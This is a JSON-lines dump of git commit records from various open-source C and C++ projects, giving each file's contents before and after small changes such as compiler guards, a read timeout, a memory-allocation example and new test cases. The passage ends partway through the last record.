{"commit":"b7b27486d7066853dcf0fa325dd2d542167bb042","old_file":"src\/lib\/fmt\/fmt_escapecharxml.c","new_file":"src\/lib\/fmt\/fmt_escapecharxml.c","old_contents":"#include \"fmt.h\"\n\nsize_t fmt_escapecharxml(char* dest,uint32_t ch) {\n  char a[FMT_LONG], b[FMT_XLONG];\n  const char* s;\n  size_t i,j;\n  switch (ch) {\n  case '&': s=\"&amp;\"; goto string;\n  case '<': s=\"&lt;\"; goto string;\n  case '>': s=\"&gt;\"; goto string;\n  case '\\'': s=\"&apos;\"; goto string;\n  case '\"': s=\"&quot;\"; goto string;\n  default:\n    a[i=fmt_ulong(a,ch)]=0;\n    b[0]='x';\n    b[j=fmt_xlong(b+1,ch)+1]=0;\n    s=a;\n    if (i>j) { s=b; i=j; }\n    if (dest) {\n      dest[0]='&';\n      dest[1]='#';\n      byte_copy(dest+2,i,s);\n      dest[i+2]=';';\n    }\n    return i+3;\n  }\nstring:\n  return fmt_str(dest,s);\n}\n\n#ifdef __GNUC__\nsize_t fmt_escapecharhtml(char* dest,uint32_t ch) __attribute__((__alias__(\"fmt_escapecharxml\")));\n#endif\n","new_contents":"#include \"fmt.h\"\n\nsize_t fmt_escapecharxml(char* dest,uint32_t ch) {\n  char a[FMT_LONG], b[FMT_XLONG];\n  const char* s;\n  size_t i,j;\n  switch (ch) {\n  case '&': s=\"&amp;\"; goto string;\n  case '<': s=\"&lt;\"; goto string;\n  case '>': s=\"&gt;\"; goto string;\n  case '\\'': s=\"&apos;\"; goto string;\n  case '\"': s=\"&quot;\"; goto string;\n  default:\n    a[i=fmt_ulong(a,ch)]=0;\n    b[0]='x';\n    b[j=fmt_xlong(b+1,ch)+1]=0;\n    s=a;\n    if (i>j) { s=b; i=j; }\n    if (dest) {\n      dest[0]='&';\n      dest[1]='#';\n      byte_copy(dest+2,i,s);\n      dest[i+2]=';';\n    }\n    return i+3;\n  }\nstring:\n  return fmt_str(dest,s);\n}\n\n#if defined(__GNUC__) && !defined(__llvm__)\nsize_t fmt_escapecharhtml(char* dest,uint32_t ch) __attribute__((__alias__(\"fmt_escapecharxml\")));\n#endif\n","subject":"Choose only gcc to execute a specific portion of code","message":"fmt: Choose only gcc to execute a specific portion of code\n\nThe specific portion of the code needs to be executed by a gcc\ncompiler, for that reason is used the __GNUC__ macro. It appears,\nthat the LLVM compiler, which uses the __llvm__ macro, uses as well\nthe __GNUC__ macro (possible for compatibility???).\n\nThis change check if the __llvm__ is check as well, and if it is\nthe code is not executed.\n\nIssue: https:\/\/github.com\/svagionitis\/cross-platform-code\/issues\/1\n","lang":"C","license":"mit","repos":"svagionitis\/cross-platform-code,svagionitis\/cross-platform-code"}
{"commit":"3c2384671496172cdacf53854592ff689cfbb044","old_file":"src\/swganh\/scripting\/python_shared_ptr.h","new_file":"src\/swganh\/scripting\/python_shared_ptr.h","old_contents":"\/\/ This file is part of SWGANH which is released under the MIT license.\n\/\/ See file LICENSE or go to http:\/\/swganh.com\/LICENSE\n#pragma once\n\n#include <memory>\n\nnamespace boost {\n    template<class T> const T* get_pointer(const std::shared_ptr<T>& ptr)\n    {\n        return ptr.get();\n    }\n\n    template<class T> T* get_pointer(std::shared_ptr<T>& ptr)\n    {\n        return ptr.get();\n    }\n\n    template<class T> const T* get_pointer(const std::unique_ptr<T>& ptr)\n    {\n        return ptr.get();\n    }\n\n    template<class T> T* get_pointer(std::unique_ptr<T>& ptr)\n    {\n        return ptr.get();\n    }\n}\n\n\/\/#include <boost\/python.hpp>\n\/\/namespace boost{ namespace python{\n\/\/    template <class T>\n\/\/    struct pointee< std::shared_ptr<T> >\n\/\/    {\n\/\/        typedef T type;\n\/\/    };\n\/\/\n\/\/}}\n\n","new_contents":"\/\/ This file is part of SWGANH which is released under the MIT license.\n\/\/ See file LICENSE or go to http:\/\/swganh.com\/LICENSE\n#pragma once\n\n#include <memory>\n\n\/\/namespace boost {\n\/\/    template<class T> const T* get_pointer(const std::shared_ptr<T>& ptr)\n\/\/    {\n\/\/        return ptr.get();\n\/\/    }\n\/\/\n\/\/    template<class T> T* get_pointer(std::shared_ptr<T>& ptr)\n\/\/    {\n\/\/        return ptr.get();\n\/\/    }\n\/\/\n\/\/    template<class T> const T* get_pointer(const std::unique_ptr<T>& ptr)\n\/\/    {\n\/\/        return ptr.get();\n\/\/    }\n\/\/\n\/\/    template<class T> T* get_pointer(std::unique_ptr<T>& ptr)\n\/\/    {\n\/\/        return ptr.get();\n\/\/    }\n\/\/}\n\n\/\/#include <boost\/python.hpp>\n\/\/namespace boost{ namespace python{\n\/\/    template <class T>\n\/\/    struct pointee< std::shared_ptr<T> >\n\/\/    {\n\/\/        typedef T type;\n\/\/    };\n\/\/\n\/\/}}\n\n","subject":"Boost now supports std::unique_ptr\/std::shared_ptr for python","message":"Boost now supports std::unique_ptr\/std::shared_ptr for python\n","lang":"C","license":"mit","repos":"anhstudios\/swganh,anhstudios\/swganh,anhstudios\/swganh"}
{"commit":"44bd63e4db6ac33a03b14da1a2b6e932f2947a35","old_file":"kilo.c","new_file":"kilo.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);\n\traw.c_oflag &= ~(OPOST);\n\traw.c_cflag &= ~(CS8);\n\traw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\r\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\r\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);\n\traw.c_oflag &= ~(OPOST);\n\traw.c_cflag &= ~(CS8);\n\traw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\traw.c_cc[VMIN] = 0;\n\traw.c_cc[VTIME] = 1;\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\twhile (1) {\n\t\tchar c = '\\0';\n\t\tread(STDIN_FILENO, &c, 1);\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\r\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\r\\n\", c, c);\n\t\t}\n\t\tif (c == 'q') {\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Add a timeout for read()","message":"Add a timeout for read()\n\nSet VMIN to 0 so read() returns as soon as there is any input to be\nread.\nSet VTIME to 1 so the wait time of read() is 100 milliseconds.\n","lang":"C","license":"bsd-2-clause","repos":"oldsharp\/kilo,oldsharp\/kilo"}
{"commit":"c8f07441b641c3aa288ce6d8aa59eff4ab3332e6","old_file":"main.c","new_file":"main.c","old_contents":"\/* The contents of this file is in the public domain. *\/\n#include <ipify.h>\n#include <string.h>\n#include <sys\/socket.h>\n\nint main(int argc, char *argv[])\n{\n\tint family = AF_UNSPEC;\n\tchar addr[256];\n\tint i, sd;\n\n\tfor (i = 1; i < argc; i++) {\n\t\tif (!strcmp(argv[i], \"-h\")) {\n\t\t\tprintf(\"ipify [-46h]\\n\");\n\t\t\treturn 0;\n\t\t}\n\t\tif (!strcmp(argv[i], \"-4\")) {\n\t\t\tfamily = AF_INET;\n\t\t\tcontinue;\n\t\t}\n\t\tif (!strcmp(argv[i], \"-6\")) {\n\t\t\tfamily = AF_INET6;\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tprintf(\"Invalid option: '%s'\\n\", argv[i]);\n\t\treturn 1;\n\t}\n\n\tsd = ipify_connect1(family);\n\tif (sd < 0)\n\t\treturn 1;\n\n\tif (!ipify_query(sd, addr, sizeof(addr)))\n\t\tprintf(\"%s\\n\", addr);\n\n\treturn ipify_disconnect(sd);\n}\n","new_contents":"\/* The contents of this file is in the public domain. *\/\n#include <ipify.h>\n#include <string.h>\n#include <sys\/socket.h>\n\nint main(int argc, char *argv[])\n{\n\tint family = AF_UNSPEC;\n\tchar addr[256];\n\tchar *host;\n\tint i, sd;\n\n\tfor (i = 1; i < argc; i++) {\n\t\tif (!strcmp(argv[i], \"-h\")) {\n\t\t\tprintf(\"ipify [-46h] [HOST]\\n\");\n\t\t\treturn 0;\n\t\t}\n\t\tif (!strcmp(argv[i], \"-4\")) {\n\t\t\tfamily = AF_INET;\n\t\t\tcontinue;\n\t\t}\n\t\tif (!strcmp(argv[i], \"-6\")) {\n\t\t\tfamily = AF_INET6;\n\t\t\tcontinue;\n\t\t}\n\n\t\tbreak;\n\t}\n\n\tif (i < argc)\n\t\thost = argv[i++];\n\telse\n\t\thost = \"api.ipify.org\";\n\n\tsd = ipify_connect2(host, family);\n\tif (sd < 0)\n\t\treturn 1;\n\n\tif (!ipify_query(sd, addr, sizeof(addr)))\n\t\tprintf(\"%s\\n\", addr);\n\n\treturn ipify_disconnect(sd);\n}\n","subject":"Use new API and expose optional host argument","message":"Use new API and expose optional host argument\n\nSigned-off-by: Joachim Wiberg <583c295fd7602c168ad814279bbc3894ba65f5d6@gmail.com>\n","lang":"C","license":"isc","repos":"troglobit\/lipify"}
{"commit":"aea67ce8c8998f99adb9d1d8d70295da6122a13a","old_file":"libcpu\/platform.h","new_file":"libcpu\/platform.h","old_contents":"#if defined(_WIN32)\n#  define __LITTLE_ENDIAN__        1\n#  ifdef _M_IX86\n#    define __i386__ 1\n#  endif\n#  ifdef _M_X64\n#    define __x86_64__ 1\n#  endif\n#  if defined(_MSC_VER)\n#    define snprintf                 _snprintf\n#    define strtoull                 _strtoui64\r\n#    define __func__                 __FUNCTION__\n#  endif \/* defined(_MSC_VER) *\/\n#endif \/* defined(_WIN32) *\/\n\n#if HAVE_DECLSPEC_DLLEXPORT\n#  ifdef LIBCPU_BUILD_CORE\n#    define API_FUNC __declspec(dllexport)\n#  else\n#    define API_FUNC __declspec(dllimport)\n#  endif\n#else\n#  define API_FUNC \/* nothing *\/\n#endif\n\n#if HAVE_ATTRIBUTE_PACKED\n#  define PACKED(x) x __attribute__((packed))\n#elif HAVE_PRAGMA_PACK\n#  define PACKED(x) __pragma(pack(push, 1)) x __pragma(pack(pop))\n#else\n#  error Do not know how to pack structs on this platform\n#endif\n\n#if HAVE_ATTRIBUTE_ALIGNED\n#  define ALIGNED(x) __attribute__((aligned(x)))\n#elif HAVE_DECLSPEC_ALIGN\n#  define ALIGNED(x) __declspec(align(x))\n#else\n#  error Do not know how to specify alignment on this platform\n#endif\n","new_contents":"#if defined(_WIN32)\n#  define __LITTLE_ENDIAN__        1\n#  ifdef _M_IX86\n#    define __i386__ 1\n#  endif\n#  ifdef _M_X64\n#    define __x86_64__ 1\n#  endif\n#  if defined(_MSC_VER)\n#    define snprintf                 _snprintf\n#    define strtoull                 _strtoui64\n#    define __func__                 __FUNCTION__\n#  endif \/* defined(_MSC_VER) *\/\n#endif \/* defined(_WIN32) *\/\n\n#if HAVE_DECLSPEC_DLLEXPORT\n#  ifdef LIBCPU_BUILD_CORE\n#    define API_FUNC __declspec(dllexport)\n#  else\n#    define API_FUNC __declspec(dllimport)\n#  endif\n#else\n#  define API_FUNC \/* nothing *\/\n#endif\n\n#if HAVE_ATTRIBUTE_PACKED\n#  define PACKED(x) x __attribute__((packed))\n#elif HAVE_PRAGMA_PACK\n#  define PACKED(x) __pragma(pack(push, 1)) x __pragma(pack(pop))\n#else\n#  error Do not know how to pack structs on this platform\n#endif\n\n#if HAVE_ATTRIBUTE_ALIGNED\n#  define ALIGNED(x) __attribute__((aligned(x)))\n#elif HAVE_DECLSPEC_ALIGN\n#  define ALIGNED(x) __declspec(align(x))\n#else\n#  error Do not know how to specify alignment on this platform\n#endif\n","subject":"Remove a Windows line-ending that was accidentally included","message":"Remove a Windows line-ending that was accidentally included\n","lang":"C","license":"bsd-2-clause","repos":"monocasa\/libcpu,ukatemi\/libcpu,glguida\/libcpu,curtiszimmerman\/libcpu,ukatemi\/libcpu,libcpu\/libcpu,curtiszimmerman\/libcpu,libcpu\/libcpu,glguida\/libcpu,monocasa\/libcpu,ukatemi\/libcpu,curtiszimmerman\/libcpu,glguida\/libcpu,monocasa\/libcpu,libcpu\/libcpu,glguida\/libcpu,libcpu\/libcpu,monocasa\/libcpu,curtiszimmerman\/libcpu,ukatemi\/libcpu"}
{"commit":"0daebd485c02840729740949caa429efd5cf0153","old_file":"ghighlighter\/main-window.c","new_file":"ghighlighter\/main-window.c","old_contents":"#include <gtk\/gtk.h>\n\nGtkWidget *\nmain_window_create()\n{\n  GtkWidget *window;\n\n  window = gtk_window_new(GTK_WINDOW_TOPLEVEL);\n  gtk_window_set_title(GTK_WINDOW(window), \"ghighlighter\");\n\n  g_signal_connect(window, \"destroy\", G_CALLBACK(gtk_main_quit), NULL);\n\n  return window;\n}\n","new_contents":"#include <gtk\/gtk.h>\n#include <gdk\/gdkkeysyms.h>\n#include <glib.h>\n\nstatic void\nmain_window_destroy(GtkAccelGroup *group, GObject *acceleratable,\n    guint keyval, GdkModifierType modifier, gpointer user_data)\n{\n  gtk_widget_destroy(GTK_WIDGET(user_data));\n}\n\nvoid\nmain_window_bind_keys(GtkWidget *window)\n{\n  GtkAccelGroup *group = gtk_accel_group_new();\n\n  GClosure *closure = g_cclosure_new(G_CALLBACK(main_window_destroy), window, NULL);\n  gtk_accel_group_connect(group, GDK_KEY_q, GDK_CONTROL_MASK, 0, closure);\n\n  gtk_window_add_accel_group(GTK_WINDOW(window), group);\n}\n\nGtkWidget *\nmain_window_create()\n{\n  GtkWidget *window;\n\n  window = gtk_window_new(GTK_WINDOW_TOPLEVEL);\n  gtk_window_set_title(GTK_WINDOW(window), \"ghighlighter\");\n\n  main_window_bind_keys(window);\n\n  g_signal_connect(window, \"destroy\", G_CALLBACK(gtk_main_quit), NULL);\n\n  return window;\n}\n","subject":"Destroy main window on Ctrl+q","message":"Destroy main window on Ctrl+q\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"65afcdfc0e43f45578d47e4ab68bb0a81cdfd14a","old_file":"src\/settings\/types\/Duration.h","new_file":"src\/settings\/types\/Duration.h","old_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef DURATION_H\n#define DURATION_H\n\nnamespace cura\n{\n\n\/*\n * \\brief Represents a duration in seconds.\n *\n * This is a facade. It behaves like a double, only it can't be negative.\n *\/\nstruct Duration\n{\n    \/*\n     * \\brief Default constructor setting the duration to 0.\n     *\/\n    Duration() : value(0) {};\n\n    \/*\n     * \\brief Casts a double to a Duration instance.\n     *\/\n    Duration(double value) : value(std::max(value, 0.0)) {};\n\n    \/*\n     * \\brief Casts the Duration instance to a double.\n     *\/\n    operator double() const\n    {\n        return value;\n    };\n\n    \/*\n     * Some operators to do arithmetic with Durations.\n     *\/\n    Duration operator +(const Duration& other) const\n    {\n        return Duration(value + other.value);\n    };\n    Duration operator -(const Duration& other) const\n    {\n        return Duration(value + other.value);\n    };\n    Duration& operator +=(const Duration& other)\n    {\n        value += other.value;\n        return *this;\n    }\n    Duration& operator -=(const Duration& other)\n    {\n        value -= other.value;\n        return *this;\n    }\n\n    \/*\n     * \\brief The actual duration, as a double.\n     *\/\n    double value = 0;\n};\n\n}\n\n#endif \/\/DURATION_H","new_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef DURATION_H\n#define DURATION_H\n\nnamespace cura\n{\n\n\/*\n * \\brief Represents a duration in seconds.\n *\n * This is a facade. It behaves like a double, only it can't be negative.\n *\/\nstruct Duration\n{\n    \/*\n     * \\brief Default constructor setting the duration to 0.\n     *\/\n    constexpr Duration() : value(0) {};\n\n    \/*\n     * \\brief Casts a double to a Duration instance.\n     *\/\n    constexpr Duration(double value) : value(value > 0.0 ? value : 0.0) {};\n\n    \/*\n     * \\brief Casts the Duration instance to a double.\n     *\/\n    operator double() const\n    {\n        return value;\n    };\n\n    \/*\n     * Some operators to do arithmetic with Durations.\n     *\/\n    Duration operator +(const Duration& other) const\n    {\n        return Duration(value + other.value);\n    };\n    Duration operator -(const Duration& other) const\n    {\n        return Duration(value + other.value);\n    };\n    Duration& operator +=(const Duration& other)\n    {\n        value += other.value;\n        return *this;\n    }\n    Duration& operator -=(const Duration& other)\n    {\n        value -= other.value;\n        return *this;\n    }\n\n    \/*\n     * \\brief The actual duration, as a double.\n     *\/\n    double value = 0;\n};\n\nconstexpr Duration operator \"\" _s(const long double seconds)\n{\n    return Duration(seconds);\n}\n\n}\n\n#endif \/\/DURATION_H","subject":"Add _s custom literal for durations","message":"Add _s custom literal for durations\n\nYou can indicate that something takes 5 seconds by writing 5_s now. We can't make a literal saying '5s' because custom literals need to start with an underscore because C++ reserves the rest for use in future C++ versions.\n\nContributes to issue CURA-4410.\n","lang":"C","license":"agpl-3.0","repos":"Ultimaker\/CuraEngine,Ultimaker\/CuraEngine"}
{"commit":"4ee4e4dcb07c5e45881179c6ec61df6381f76211","old_file":"security\/nss\/macbuild\/NSSCommon.h","new_file":"security\/nss\/macbuild\/NSSCommon.h","old_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n\n","new_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n#define NSS_3_4_CODE 1 \/* Remove this when we start building NSS 4.0 by default *\/","subject":"Define NSS_3_4 so that we get the right code and not Stan code that isn't quite ready.","message":"Define NSS_3_4 so that we get the right code and not Stan code that isn't quite ready.\n","lang":"C","license":"mpl-2.0","repos":"thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss"}
{"commit":"1815f49daf517119c71935eb4852696cbb53fc94","old_file":"operating_system\/next_fit.c","new_file":"operating_system\/next_fit.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nvoid next_fit(int blockSize[],int processSize[],int n,int m){\n    int allocation[m];\n    int i=0,j=0;\n    for (i=0;i<m;i++)\n        allocation[i]=-1;\n    for (i=0;i<m;i++) {\n        while (j<n) {\n            if (blockSize[j]>=processSize[i])\n             {\n                allocation[i]=j;\n                blockSize[j]-=processSize[i];\n                break;\n            }\n            j=(j+1)%n;\n        }\n    }\n    printf(\"\\nProcess No.\\tProcess Size\\tBlock no.\\n\");\n    for (i=0;i<m;i++) {\n        printf(\"%d\\t\\t\",i+1);\n        printf(\"%d\\t\\t\",processSize[i]);\n        if (allocation[i]!=-1)\n           printf(\"%d\",allocation[i]+1);\n        else\n           printf(\"Not Allocated\\n\");\n        printf(\"\\n\");\n    }\n}\n\nint main(){\n    int blockSize[]={10,20,300,40,500,60,100};\n    int i,n,m;\n    n=7;\n    printf(\"Give number of processes:\");\n    scanf(\"%d\",&m);\n    int processSize[m];\n    for (i=0;i<m;i++){\n        printf(\"Give process size for process number %d:\",i+1);\n        scanf(\"%d\",&processSize[i]);\n    }\n    next_fit(blockSize,processSize,n,m);\n    return 0;\n }\n","subject":"Create next fit algorithm in c","message":"Create next fit algorithm in c","lang":"C","license":"cc0-1.0","repos":"ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms"}
{"commit":"351be023e68a713aa3ffcfae7cca21935b1f913c","old_file":"test\/CodeGen\/builtins-arm64.c","new_file":"test\/CodeGen\/builtins-arm64.c","old_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-ios -O3 -emit-llvm -o - %s | FileCheck %s\n\nvoid f0(void *a, void *b) {\n\t__clear_cache(a,b);\n\/\/ CHECK: call {{.*}} @__clear_cache\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i32(i32 %a)\nunsigned rbit(unsigned a) {\n  return __builtin_arm_rbit(a);\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i64(i64 %a)\nunsigned long long rbit64(unsigned long long a) {\n  return __builtin_arm_rbit64(a);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-ios -O3 -emit-llvm -o - %s | FileCheck %s\n\nvoid f0(void *a, void *b) {\n\t__clear_cache(a,b);\n\/\/ CHECK: call {{.*}} @__clear_cache\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i32(i32 %a)\nunsigned rbit(unsigned a) {\n  return __builtin_arm_rbit(a);\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i64(i64 %a)\nunsigned long long rbit64(unsigned long long a) {\n  return __builtin_arm_rbit64(a);\n}\n\nvoid hints() {\n  __builtin_arm_yield();  \/\/CHECK: call {{.*}} @llvm.aarch64.hint(i32 1)\n  __builtin_arm_wfe();    \/\/CHECK: call {{.*}} @llvm.aarch64.hint(i32 2)\n  __builtin_arm_wfi();    \/\/CHECK: call {{.*}} @llvm.aarch64.hint(i32 3)\n  __builtin_arm_sev();    \/\/CHECK: call {{.*}} @llvm.aarch64.hint(i32 4)\n  __builtin_arm_sevl();   \/\/CHECK: call {{.*}} @llvm.aarch64.hint(i32 5)\n}\n","subject":"Add test cases for AArch64 hints codegen","message":"Add test cases for AArch64 hints codegen\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@212909 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"7fa8ea867659fc32093d3acb13c1c6a061b0b7f9","old_file":"CatchFeedHelper\/CTCFeedChecker.h","new_file":"CatchFeedHelper\/CTCFeedChecker.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\nextern NSString *kCTCFeedCheckerErrorDomain;\ntypedef void (^CTCFeedCheckCompletionHandler)(NSArray *downloadedFeedFiles,\n                                              NSError *error);\ntypedef void (^CTCFeedCheckDownloadCompletionHandler)(NSError *error);\n\n\n@protocol CTCFeedCheck\n\n- (void)checkShowRSSFeed:(NSURL *)feedURL\n   downloadingToBookmark:(NSData *)downloadFolderBookmark\n      organizingByFolder:(BOOL)shouldOrganizeByFolder\n            skippingURLs:(NSArray *)previouslyDownloadedURLs\n               withReply:(CTCFeedCheckCompletionHandler)reply;\n\n- (void)downloadFile:(NSDictionary *)fileURL\n          toBookmark:(NSData *)downloadFolderBookmark\n  organizingByFolder:(BOOL)shouldOrganizeByFolder\n           withReply:(CTCFeedCheckDownloadCompletionHandler)reply;\n\n@end\n\n\n@interface CTCFeedChecker : NSObject <CTCFeedCheck, NSXPCListenerDelegate>\n\n+ (instancetype)sharedChecker;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\nextern NSString *kCTCFeedCheckerErrorDomain;\ntypedef void (^CTCFeedCheckCompletionHandler)(NSArray *downloadedFeedFiles,\n                                              NSError *error);\ntypedef void (^CTCFeedCheckDownloadCompletionHandler)(NSError *error);\n\n\n@protocol CTCFeedCheck\n\n- (void)checkShowRSSFeed:(NSURL *)feedURL\n   downloadingToBookmark:(NSData *)downloadFolderBookmark\n      organizingByFolder:(BOOL)shouldOrganizeByFolder\n            skippingURLs:(NSArray *)previouslyDownloadedURLs\n               withReply:(CTCFeedCheckCompletionHandler)reply;\n\n- (void)downloadFile:(NSDictionary *)file\n          toBookmark:(NSData *)downloadFolderBookmark\n  organizingByFolder:(BOOL)shouldOrganizeByFolder\n           withReply:(CTCFeedCheckDownloadCompletionHandler)reply;\n\n@end\n\n\n@interface CTCFeedChecker : NSObject <CTCFeedCheck, NSXPCListenerDelegate>\n\n+ (instancetype)sharedChecker;\n\n@end\n","subject":"Fix header out of sync","message":"Fix header out of sync\n","lang":"C","license":"mit","repos":"mipstian\/catch"}
{"commit":"24dfd9f146f15fb5c2524369f1a750fcc6db0fca","old_file":"test2\/cpp\/comment_backslashing.c","new_file":"test2\/cpp\/comment_backslashing.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\nint main()\n{\n    \/* comment with stray handling *\\\n\/\n       \/* this is a valid *\\\/ comment *\/\n       \/* this is a valid comment *\\*\/\n    \/\/  this is a valid\\\ncomment\n\n    return 0;\n}\n\n","subject":"Add test for multi-line commenting","message":"Add test for multi-line commenting\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"eff9830b09a84b24091c731e42701da7ee320c77","old_file":"include\/cling\/Interpreter\/RuntimeExceptions.h","new_file":"include\/cling\/Interpreter\/RuntimeExceptions.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_RUNTIME_EXCEPTIONS_H\n#define CLING_RUNTIME_EXCEPTIONS_H\nnamespace cling {\n  namespace runtime {\n    \/\/\/\\brief Exception that is thrown when a null pointer dereference is found\n    \/\/\/ or a method taking non-null arguments is called with NULL argument.\n    \/\/\/ \n    class cling_null_deref_exception { };    \n  } \/\/ end namespace runtime\n} \/\/ end namespace cling\n#endif \/\/ CLING_RUNTIME_EXCEPTIONS_H \n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_RUNTIME_EXCEPTIONS_H\n#define CLING_RUNTIME_EXCEPTIONS_H\nnamespace clang {\n  class Sema;\n}\nnamespace cling {\n  namespace runtime {\n    \/\/\/\\brief Exception that is thrown when a null pointer dereference is found\n    \/\/\/ or a method taking non-null arguments is called with NULL argument.\n    \/\/\/ \n    class cling_null_deref_exception {\n    private:\n      unsigned m_Location;\n      clang::Sema* m_Sema;\n    public:\n      cling_null_deref_exception(void* Loc, clang::Sema* S);\n      ~cling_null_deref_exception();\n\n      void what() throw();\n\n    };    \n  } \/\/ end namespace runtime\n} \/\/ end namespace cling\n#endif \/\/ CLING_RUNTIME_EXCEPTIONS_H \n","subject":"Add missing header method declarations.","message":"Add missing header method declarations.\n","lang":"C","license":"lgpl-2.1","repos":"karies\/cling,root-mirror\/cling,root-mirror\/cling,karies\/cling,karies\/cling,perovic\/cling,karies\/cling,perovic\/cling,root-mirror\/cling,root-mirror\/cling,marsupial\/cling,marsupial\/cling,marsupial\/cling,marsupial\/cling,perovic\/cling,root-mirror\/cling,root-mirror\/cling,marsupial\/cling,karies\/cling,marsupial\/cling,perovic\/cling,perovic\/cling,karies\/cling"}
{"commit":"e5b5dcb8aa7b85d5f873aa51120b4f685beeb145","old_file":"FDTakeExample\/FDTakeController.h","new_file":"FDTakeExample\/FDTakeController.h","old_contents":"\/\/\n\/\/  FDTakeController.h\n\/\/  FDTakeExample\n\/\/\n\/\/  Created by Will Entriken on 8\/9\/12.\n\/\/  Copyright (c) 2012 William Entriken. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class FDTakeController;\n\n@protocol FDTakeDelegate <NSObject>\n\n- (void)takeController:(FDTakeController *)controller gotPhoto:(UIImage *)photo withInfo:(NSDictionary *)info;\n- (void)takeController:(FDTakeController *)controller gotVideo:(NSURL *)video withInfo:(NSDictionary *)info;\n- (void)takeController:(FDTakeController *)controller didCancelAfterAttempting:(BOOL)madeAttempt;\n\n@end\n\n@interface FDTakeController : NSObject\n\n- (void)takePhotoOrChooseFromLibrary;\n- 